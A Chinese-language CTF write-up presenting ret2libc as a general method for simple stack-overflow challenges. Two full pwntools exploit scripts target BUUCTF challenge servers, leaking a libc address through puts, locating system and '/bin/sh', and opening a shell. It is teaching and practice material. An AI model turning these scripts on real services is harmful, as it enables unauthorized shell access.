简介
在面对部分题目时,ret2libc可以作为通用解法,这类题目多为一些简单的后门函数、shellcode。
这些题目大多具有共同的特点:
1 思路简单,代码量很少,容易发现溢出点,容易分析
2 但真正想要实现ret2shellcode或者后门函数,需要一些技巧(比如泄露栈地址等),难以第一时间想到
3 必须是动态链接文件(通过file查看)
4 最好是没有开启PIE和canary的程序
此时,在发现溢出点后,即可直接考虑ret2libc拿到shell,不用再继续进行复杂的分析和技巧考虑
例1:BUUCTF-picoctf_2018_rop_chain
具体分析见:BUUCTF题解:picoctf_2018_rop_chain
现在提供一个ret2libc的解法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * from LibcSearcher import * context(os="linux",arch="x86",log_level="debug") targetELF="./pwn" elf=ELF(targetELF)
ioTube=remote("node5.buuoj.cn",27661)
offset=28 pltAddr=elf.plt["puts"] leakFuncName="__libc_start_main" gotAddr=elf.got[leakFuncName] startAddr=elf.symbols["_start"]
ioTube.recvuntil("Enter your input> ") payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(gotAddr) ioTube.sendline(payload1) realAddr=u32(ioTube.recv(4).ljust(4,b'\x00')) print("泄露真实地址={}\n".format(hex(realAddr))) libc=LibcSearcher(leakFuncName,realAddr) libcBase=realAddr-libc.dump(leakFuncName) print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase))) sysAddr=libcBase+libc.dump("system") binshAddr=libcBase+libc.dump("str_bin_sh")
payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr) ioTube.recvuntil("input> ") ioTube.sendline(payload2) ioTube.interactive()
|
例2:BUUCTF-ciscn_2019_s_9
具体分析见:BUUCTF题解:ciscn_2019_s_9
这道题同样存在ret2libc的解法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from LibcSearcher import * context(os="linux",arch="x86",log_level="debug") targetELF="./pwn" libcPath="/lib/i386-linux-gnu/libc.so.6" elf=ELF(targetELF)
ioTube=remote("node5.buuoj.cn",29656)
offset=0x24 retAlignPadding=0x8048342 pltAddr=elf.plt["puts"] leakFuncName="puts" gotAddr=elf.got[leakFuncName] startAddr=elf.symbols["_start"]
ioTube.recvuntil(">\n") payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(gotAddr) ioTube.sendline(payload1) ioTube.recvuntil("bye~\n") realAddr=u32(ioTube.recv(4).ljust(4,b'\x00')) libc=LibcSearcher(leakFuncName,realAddr) libcBase=realAddr-libc.dump(leakFuncName) print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase))) sysAddr=libcBase+libc.dump("system") binshAddr=libcBase+libc.dump("str_bin_sh")
payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr) ioTube.recvuntil(">\n") ioTube.sendline(payload2) ioTube.interactive()
|